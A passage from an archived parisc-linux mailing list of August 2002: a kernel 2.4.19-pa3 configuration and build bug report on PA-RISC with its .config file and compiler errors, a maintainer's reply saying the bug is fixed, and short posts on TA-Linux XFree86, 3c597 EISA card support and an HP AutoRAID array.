send a problem report to <linux-kernel@vger.kernel.org>.

Please indicate the kernel version you are trying to configure and
which menu you were trying to enter when this error occurred.

make: *** [menuconfig] Error 1

---

.config file 


CONFIG_RWSEM_GENERIC_SPINLOCK=y
CONFIG_EXPERIMENTAL=y
CONFIG_MODULES=y
CONFIG_KMOD=y
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PARISC64=y
CONFIG_SMP=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_KWDB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_ISA=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_SUPERIO=y
CONFIG_PCI_NAMES=y
CONFIG_HOTPLUG=y
CONFIG_NET=y
CONFIG_SYSVIPC=y
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=y
CONFIG_PARPORT=y
CONFIG_PARPORT_PC=y
CONFIG_PARPORT_PC_CML1=y
CONFIG_PARPORT_GSC=y
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_BLK_DEV_INITRD=y
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
CONFIG_MD_LINEAR=y
CONFIG_MD_RAID0=y
CONFIG_MD_RAID1=y
CONFIG_MD_RAID5=y
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_NETLINK_DEV=y
CONFIG_FILTER=y
CONFIG_UNIX=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
CONFIG_SCSI=y
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_ST=y
CONFIG_BLK_DEV_SR=y
CONFIG_SR_EXTRA_DEVS=2
CONFIG_CHR_DEV_SG=y
CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
CONFIG_53C700_USE_CONSISTENT=y
CONFIG_SCSI_ZALON=y
CONFIG_ASK_ZALON=y
CONFIG_SCSI_SYM53C8XX=y
CONFIG_ASK_SYM53C8XX=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
CONFIG_NETDEVICES=y
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=y
CONFIG_NET_PCI=y
CONFIG_TULIP=y
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
CONFIG_EXT3_FS=y
CONFIG_JBD=y
CONFIG_RAMFS=y
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_PROC_FS=y
CONFIG_DEVPTS_FS=y
CONFIG_EXT2_FS=y
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
CONFIG_ROOT_NFS=y
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_FB=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FB_STI=y
CONFIG_FBCON_CFB8=y
CONFIG_FBCON_CFB32=y
CONFIG_FBCON_STI=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
CONFIG_FBCON_FONT=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y
CONFIG_SOUND=y
CONFIG_SOUND_HARMONY=y
CONFIG_MAGIC_SYSRQ=y

---
---

And when running xconfig and trying to save the config I get

---

Stack Trace for Error

zcan't read "CONFIG_MTD": no such variable
    while executing
"list $CONFIG_MTD"
    (procedure "writeconfig" line 1992)
    invoked from within
"writeconfig .config include/linux/autoconf.h"
    invoked from within
".f0.right.save invoke"
    ("uplevel" body line 1)
    invoked from within
"uplevel #0 [list $w invoke]"
    (procedure "tkButtonUp" line 7)
    invoked from within
"tkButtonUp .f0.right.save
"
    (command bound to event)

---
---

When runing make config I get

---

  Stallion multiport serial support (CONFIG_STALDRV) [N/y/?] 
  PDC software console support (CONFIG_PDC_CONSOLE) [Y/n/?] 
scripts/Configure: drivers/char/Config.in: line 121: syntax error near
unexpected token `fi'
scripts/Configure: drivers/char/Config.in: line 121: `fi'
*
HIL support
*
*
* Input support needed for HIL support
*
*
* Multimedia devices
*
Video For Linux (CONFIG_VIDEO_DEV) [N/y/m/?] 

and it continues ok and seems to save a complete .config

---
---

make palo
gives 

---

make[1]: Leaving directory `/usr/src/source/linux/arch/parisc/tools'
make CFLAGS="-D__KERNEL__ -I/usr/src/source/linux/include -Wall
-Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common
-fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce
-mno-space-regs -mfast-indirect-calls -mdisable-fpregs
-ffunction-sections -march=2.0 -mschedule=8000 " -C  arch/parisc/kernel
make[1]: Entering directory `/usr/src/source/linux/arch/parisc/kernel'
hppa64-linux-gcc -D__KERNEL__ -I/usr/src/source/linux/include -Wall
-Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common
-fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce
-mno-space-regs -mfast-indirect-calls -mdisable-fpregs
-ffunction-sections -march=2.0 -mschedule=8000   -nostdinc -I
/opt/palinux/lib/gcc-lib/hppa64-linux/3.0.3/include
-DKBUILD_BASENAME=cache  -c -o cache.o cache.c
hppa64-linux-gcc -D__ASSEMBLY__ -traditional -D__KERNEL__
-I/usr/src/source/linux/include  -c -o pacache.o pacache.S
hppa64-linux-gcc -D__KERNEL__ -I/usr/src/source/linux/include -Wall
-Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common
-fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce
-mno-space-regs -mfast-indirect-calls -mdisable-fpregs
-ffunction-sections -march=2.0 -mschedule=8000   -nostdinc -I
/opt/palinux/lib/gcc-lib/hppa64-linux/3.0.3/include
-DKBUILD_BASENAME=setup  -c -o setup.o setup.c
hppa64-linux-gcc -D__KERNEL__ -I/usr/src/source/linux/include -Wall
-Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common
-fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce
-mno-space-regs -mfast-indirect-calls -mdisable-fpregs
-ffunction-sections -march=2.0 -mschedule=8000   -nostdinc -I
/opt/palinux/lib/gcc-lib/hppa64-linux/3.0.3/include
-DKBUILD_BASENAME=traps  -c -o traps.o traps.c
traps.c:41:55: kdb/break.h: No such file or directory
traps.c:42:47: kdb/kgdb_types.h: No such file or directory
traps.c:43:60: kdb/save_state.h: No such file or directory
traps.c:44:76: kdb/kgdb_machine.h: No such file or directory
traps.c:45:53: kdb/trap.h: No such file or directory
traps.c: In function `handle_break':
traps.c:264: storage size of `ssp' isn't known
traps.c:289: `KGDB_BREAK_INSN' undeclared (first use in this function)
traps.c:289: (Each undeclared identifier is reported only once
traps.c:289: for each function it appears in.)
traps.c:291: warning: implicit declaration of function `pt_regs_to_ssp'
traps.c:292: warning: implicit declaration of function `kgdb_trap'
traps.c:292: `I_BRK_INST' undeclared (first use in this function)
traps.c:293: warning: implicit declaration of function `ssp_to_pt_regs'
traps.c:296: `KGDB_INIT_BREAK_INSN' undeclared (first use in this
function)
traps.c:264: warning: unused variable `ssp'
traps.c: In function `handle_interruption':
traps.c:474: storage size of `ssp' isn't known
traps.c:614: `I_TAKEN_BR' undeclared (first use in this function)
traps.c:474: warning: unused variable `ssp'
make[1]: *** [traps.o] Error 1
make[1]: Leaving directory `/usr/src/source/linux/arch/parisc/kernel'
make: *** [_dir_arch/parisc/kernel] Error 2
rotapile:/usr/src/source/linux# make palo

---

Robert Stanford



From - Thu Nov 08 21:24:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kaj-Michael Lang" <milang@tal.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] First test release of TA-Linux for parisc
Date: Wed, 14 Aug 2002 15:15:25 +0300
Lines: 7
Approved: news@gmane.org
Message-ID: <000f01c2438c$47b175d0$56dc10c3@amos>
References: <003301c242c7$530be9d0$56dc10c3@amos>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621619 12310 80.91.229.3 (22 Nov 2014 02:00:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:19 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 14 06:13:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from velli.mail.jippii.net (velli.mail.jippii.net [195.197.172.114])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AD694829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Aug 2002 06:13:28 -0600 (MDT)
Original-Received: from amos (unknown [195.16.220.86])
	by velli.mail.jippii.net (Postfix) with SMTP id 66BBC1C7D1
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Aug 2002 15:13:23 +0300 (EEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15811

> - XFree86 is broken at this time.

Small update.. the xfree86 package is now fixed. 

--
Kaj-Michael Lang , milang@tal.org


From - Thu Nov 08 21:24:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Jantzen <chris@maybe.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 3c597/EISA status?
Date: Wed, 14 Aug 2002 09:13:06 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20020814161306.GA1277@maybe.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621619 12312 80.91.229.3 (22 Nov 2014 02:00:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 14 10:13:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.maybe.net (sub27-133.member.dsl-only.net [63.105.27.133])
	by dsl2.external.hp.com (Postfix) with SMTP id C04F84829
	for <parisc-linux@parisc-linux.org>; Wed, 14 Aug 2002 10:13:07 -0600 (MDT)
Original-Received: (qmail 11353 invoked by uid 1000); 14 Aug 2002 16:13:06 -0000
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15812

I read in the mailing list (*after* I bought the cards <kicks self in
shin>) that EISA support is probably not all their vis-a-vis a bus
master card like the 3c597. What's the current status? Where can I help?
I have a C180 with a couple 3c597's. Here's the relevant boot message:

---
Wax at 0xffe00000 found.
Wax: HIL Keyboard-NMI registered.
Wax EISA Adapter found at 0xfc000000
EISA EEPROM at 0xffc88000
Enumerating EISA bus
EISA slot 1 a configured board was not detected ( expected ___FFFF)
Dino version 2.1 found at 0xf2000000
The GSCtoPCI (Dino hrev 1) bus converter found may exhibit
data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.
Systems shipped after Aug 20, 1997 will not exhibit this problem.
Models affected: C180, C160, C160L, B160L, and B132L workstations.

Dino: No PCI devices enabled.
---

And I seem to get a kernel panic any time I probe the driver module...

-- 
chris jantzen kb7rnl =->         __O
Insert witty comment here.     _`\<,_
http://www.maybe.net/         (*)/ (*)


From - Thu Nov 08 21:24:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] make menuconfig error in 2.4.19-pa3
Date: 14 Aug 2002 17:42:36 -0600
Lines: 294
Approved: news@gmane.org
Message-ID: <1029368556.635.88.camel@beavis>
References: <1029325986.7632.58.camel@rotapile>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621619 12317 80.91.229.3 (22 Nov 2014 02:00:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:19 +0000 (UTC)
Cc: mec@shout.net, Parisc <parisc-linux@parisc-linux.org>
To: Robert Stanford <rob@rotapile.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 14 17:42:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id B26604829
	for <parisc-linux@parisc-linux.org>; Wed, 14 Aug 2002 17:42:37 -0600 (MDT)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 458EC2E3D8; Wed, 14 Aug 2002 17:42:36 -0600 (MDT)
In-Reply-To: <1029325986.7632.58.camel@rotapile>
X-Mailer: Ximian Evolution 1.0.7 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15813

Robert,

I fixed this error yesterday.  Try to cvs update again
and recompile.

sorry for the error.

thanks,

- Ryan

On Wed, 2002-08-14 at 05:53, Robert Stanford wrote:
> Working from the top down in menuconfig the error happened while trying
> to enter character devices (more at the end)
> 
> Using,
> crosscompiler xc-20020118.tar.gz
> 
> on debian sid x86
> 
> ---
> 
> Kernel Version 2.4.19-pa3
> 
> ---
> 
> Menuconfig has encountered a possible error in one of the kernel's
> configuration files and is unable to continue.  Here is the error
> report:
> 
>  Q> scripts/Menuconfig: MCmenu30: command not found
> 
> Please report this to the maintainer <mec@shout.net>.  You may also
> send a problem report to <linux-kernel@vger.kernel.org>.
> 
> Please indicate the kernel version you are trying to configure and
> which menu you were trying to enter when this error occurred.
> 
> make: *** [menuconfig] Error 1
> 
> ---
> 
> .config file 
> 
> 
> CONFIG_RWSEM_GENERIC_SPINLOCK=y
> CONFIG_EXPERIMENTAL=y
> CONFIG_MODULES=y
> CONFIG_KMOD=y
> CONFIG_PA8X00=y
> CONFIG_PA20=y
> CONFIG_PARISC64=y
> CONFIG_SMP=y
> CONFIG_CHASSIS_LCD_LED=y
> CONFIG_KWDB=y
> CONFIG_IOMMU_CCIO=y
> CONFIG_GSC=y
> CONFIG_GSC_LASI=y
> CONFIG_GSC_WAX=y
> CONFIG_EISA=y
> CONFIG_ISA=y
> CONFIG_PCI=y
> CONFIG_GSC_DINO=y
> CONFIG_PCI_LBA=y
> CONFIG_IOSAPIC=y
> CONFIG_IOMMU_SBA=y
> CONFIG_SUPERIO=y
> CONFIG_PCI_NAMES=y
> CONFIG_HOTPLUG=y
> CONFIG_NET=y
> CONFIG_SYSVIPC=y
> CONFIG_SYSCTL=y
> CONFIG_KCORE_ELF=y
> CONFIG_BINFMT_ELF=y
> CONFIG_BINFMT_SOM=y
> CONFIG_PARPORT=y
> CONFIG_PARPORT_PC=y
> CONFIG_PARPORT_PC_CML1=y
> CONFIG_PARPORT_GSC=y
> CONFIG_BLK_DEV_LOOP=y
> CONFIG_BLK_DEV_RAM=y
> CONFIG_BLK_DEV_RAM_SIZE=4096
> CONFIG_BLK_DEV_INITRD=y
> CONFIG_MD=y
> CONFIG_BLK_DEV_MD=y
> CONFIG_MD_LINEAR=y
> CONFIG_MD_RAID0=y
> CONFIG_MD_RAID1=y
> CONFIG_MD_RAID5=y
> CONFIG_PACKET=y
> CONFIG_PACKET_MMAP=y
> CONFIG_NETLINK_DEV=y
> CONFIG_FILTER=y
> CONFIG_UNIX=y
> CONFIG_INET=y
> CONFIG_IP_MULTICAST=y
> CONFIG_IP_PNP=y
> CONFIG_IP_PNP_DHCP=y
> CONFIG_SCSI=y
> CONFIG_BLK_DEV_SD=y
> CONFIG_SD_EXTRA_DEVS=40
> CONFIG_CHR_DEV_ST=y
> CONFIG_BLK_DEV_SR=y
> CONFIG_SR_EXTRA_DEVS=2
> CONFIG_CHR_DEV_SG=y
> CONFIG_SCSI_LASI700=y
> CONFIG_53C700_MEM_MAPPED=y
> CONFIG_53C700_LE_ON_BE=y
> CONFIG_53C700_USE_CONSISTENT=y
> CONFIG_SCSI_ZALON=y
> CONFIG_ASK_ZALON=y
> CONFIG_SCSI_SYM53C8XX=y
> CONFIG_ASK_SYM53C8XX=y
> CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
> CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
> CONFIG_SCSI_NCR53C8XX_SYNC=20
> CONFIG_NETDEVICES=y
> CONFIG_NET_ETHERNET=y
> CONFIG_LASI_82596=y
> CONFIG_NET_PCI=y
> CONFIG_TULIP=y
> CONFIG_VT=y
> CONFIG_VT_CONSOLE=y
> CONFIG_GSC_PS2=y
> CONFIG_SERIAL=y
> CONFIG_SERIAL_CONSOLE=y
> CONFIG_SERIAL_GSC=y
> CONFIG_EXT3_FS=y
> CONFIG_JBD=y
> CONFIG_RAMFS=y
> CONFIG_ISO9660_FS=y
> CONFIG_JOLIET=y
> CONFIG_PROC_FS=y
> CONFIG_DEVPTS_FS=y
> CONFIG_EXT2_FS=y
> CONFIG_NFS_FS=y
> CONFIG_NFS_V3=y
> CONFIG_ROOT_NFS=y
> CONFIG_NFSD=y
> CONFIG_NFSD_V3=y
> CONFIG_SUNRPC=y
> CONFIG_LOCKD=y
> CONFIG_LOCKD_V4=y
> CONFIG_MSDOS_PARTITION=y
> CONFIG_NLS=y
> CONFIG_NLS_DEFAULT="iso8859-1"
> CONFIG_FB=y
> CONFIG_DUMMY_CONSOLE=y
> CONFIG_FB_STI=y
> CONFIG_FBCON_CFB8=y
> CONFIG_FBCON_CFB32=y
> CONFIG_FBCON_STI=y
> CONFIG_FONT_8x8=y
> CONFIG_FONT_8x16=y
> CONFIG_STI_CONSOLE=y
> CONFIG_DUMMY_CONSOLE=y
> CONFIG_DUMMY_CONSOLE=y
> CONFIG_FBCON=y
> CONFIG_FBCON_FONT=y
> CONFIG_FONT_8x8=y
> CONFIG_FONT_8x16=y
> CONFIG_FONT_6x11=y
> CONFIG_FONT_SUN12x22=y
> CONFIG_SOUND=y
> CONFIG_SOUND_HARMONY=y
> CONFIG_MAGIC_SYSRQ=y
> 
> ---
> ---
> 
> And when running xconfig and trying to save the config I get
> 
> ---
> 
> Stack Trace for Error
> 
> zcan't read "CONFIG_MTD": no such variable
>     while executing
> "list $CONFIG_MTD"
>     (procedure "writeconfig" line 1992)
>     invoked from within
> "writeconfig .config include/linux/autoconf.h"
>     invoked from within
> ".f0.right.save invoke"
>     ("uplevel" body line 1)
>     invoked from within
> "uplevel #0 [list $w invoke]"
>     (procedure "tkButtonUp" line 7)
>     invoked from within
> "tkButtonUp .f0.right.save
> "
>     (command bound to event)
> 
> ---
> ---
> 
> When runing make config I get
> 
> ---
> 
>   Stallion multiport serial support (CONFIG_STALDRV) [N/y/?] 
>   PDC software console support (CONFIG_PDC_CONSOLE) [Y/n/?] 
> scripts/Configure: drivers/char/Config.in: line 121: syntax error near
> unexpected token `fi'
> scripts/Configure: drivers/char/Config.in: line 121: `fi'
> *
> HIL support
> *
> *
> * Input support needed for HIL support
> *
> *
> * Multimedia devices
> *
> Video For Linux (CONFIG_VIDEO_DEV) [N/y/m/?] 
> 
> and it continues ok and seems to save a complete .config
> 
> ---
> ---
> 
> make palo
> gives 
> 
> ---
> 
> make[1]: Leaving directory `/usr/src/source/linux/arch/parisc/tools'
> make CFLAGS="-D__KERNEL__ -I/usr/src/source/linux/include -Wall
> -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common
> -fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce
> -mno-space-regs -mfast-indirect-calls -mdisable-fpregs
> -ffunction-sections -march=2.0 -mschedule=8000 " -C  arch/parisc/kernel
> make[1]: Entering directory `/usr/src/source/linux/arch/parisc/kernel'
> hppa64-linux-gcc -D__KERNEL__ -I/usr/src/source/linux/include -Wall
> -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common
> -fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce
> -mno-space-regs -mfast-indirect-calls -mdisable-fpregs
> -ffunction-sections -march=2.0 -mschedule=8000   -nostdinc -I
> /opt/palinux/lib/gcc-lib/hppa64-linux/3.0.3/include
> -DKBUILD_BASENAME=cache  -c -o cache.o cache.c
> hppa64-linux-gcc -D__ASSEMBLY__ -traditional -D__KERNEL__
> -I/usr/src/source/linux/include  -c -o pacache.o pacache.S
> hppa64-linux-gcc -D__KERNEL__ -I/usr/src/source/linux/include -Wall
> -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common
> -fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce
> -mno-space-regs -mfast-indirect-calls -mdisable-fpregs
> -ffunction-sections -march=2.0 -mschedule=8000   -nostdinc -I
> /opt/palinux/lib/gcc-lib/hppa64-linux/3.0.3/include
> -DKBUILD_BASENAME=setup  -c -o setup.o setup.c
> hppa64-linux-gcc -D__KERNEL__ -I/usr/src/source/linux/include -Wall
> -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common
> -fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce
> -mno-space-regs -mfast-indirect-calls -mdisable-fpregs
> -ffunction-sections -march=2.0 -mschedule=8000   -nostdinc -I
> /opt/palinux/lib/gcc-lib/hppa64-linux/3.0.3/include
> -DKBUILD_BASENAME=traps  -c -o traps.o traps.c
> traps.c:41:55: kdb/break.h: No such file or directory
> traps.c:42:47: kdb/kgdb_types.h: No such file or directory
> traps.c:43:60: kdb/save_state.h: No such file or directory
> traps.c:44:76: kdb/kgdb_machine.h: No such file or directory
> traps.c:45:53: kdb/trap.h: No such file or directory
> traps.c: In function `handle_break':
> traps.c:264: storage size of `ssp' isn't known
> traps.c:289: `KGDB_BREAK_INSN' undeclared (first use in this function)
> traps.c:289: (Each undeclared identifier is reported only once
> traps.c:289: for each function it appears in.)
> traps.c:291: warning: implicit declaration of function `pt_regs_to_ssp'
> traps.c:292: warning: implicit declaration of function `kgdb_trap'
> traps.c:292: `I_BRK_INST' undeclared (first use in this function)
> traps.c:293: warning: implicit declaration of function `ssp_to_pt_regs'
> traps.c:296: `KGDB_INIT_BREAK_INSN' undeclared (first use in this
> function)
> traps.c:264: warning: unused variable `ssp'
> traps.c: In function `handle_interruption':
> traps.c:474: storage size of `ssp' isn't known
> traps.c:614: `I_TAKEN_BR' undeclared (first use in this function)
> traps.c:474: warning: unused variable `ssp'
> make[1]: *** [traps.o] Error 1
> make[1]: Leaving directory `/usr/src/source/linux/arch/parisc/kernel'
> make: *** [_dir_arch/parisc/kernel] Error 2
> rotapile:/usr/src/source/linux# make palo
> 
> ---
> 
> Robert Stanford
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:24:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Autoraid supported?
Date: Wed, 14 Aug 2002 17:11:33 -0700 (PDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <20020815001133.84971.qmail@web12507.mail.yahoo.com>
References: <20020813131329.C4BD34829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621620 12321 80.91.229.3 (22 Nov 2014 02:00:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 14 18:11:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12507.mail.yahoo.com (web12507.mail.yahoo.com [216.136.173.199])
	by dsl2.external.hp.com (Postfix) with SMTP id D812E4837
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Aug 2002 18:11:34 -0600 (MDT)
Original-Received: from [156.153.255.134] by web12507.mail.yahoo.com via HTTP; Wed, 14 Aug 2002 17:11:33 PDT
In-Reply-To: <20020813131329.C4BD34829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15814

Hey all,

Basically I have an AutoRAID Model 12 (not a 12H) that I want to use on
my newly installed C180 (finally got it workin). Being an HP-UX man I
was wondering how Debian handles alternate (pv) links?  I'm curious
because the AutoRAID has 2 controllers (only one active at a time) and
I have 2 F/W controller cards installed in the C180 besides the onboard
F/W controller.  I'm just starting to figure out some of the
differences in the file system structure from HP-UX and Linux.  I did
d/l some info from "The Linux Cookbook," but I still have questions. 
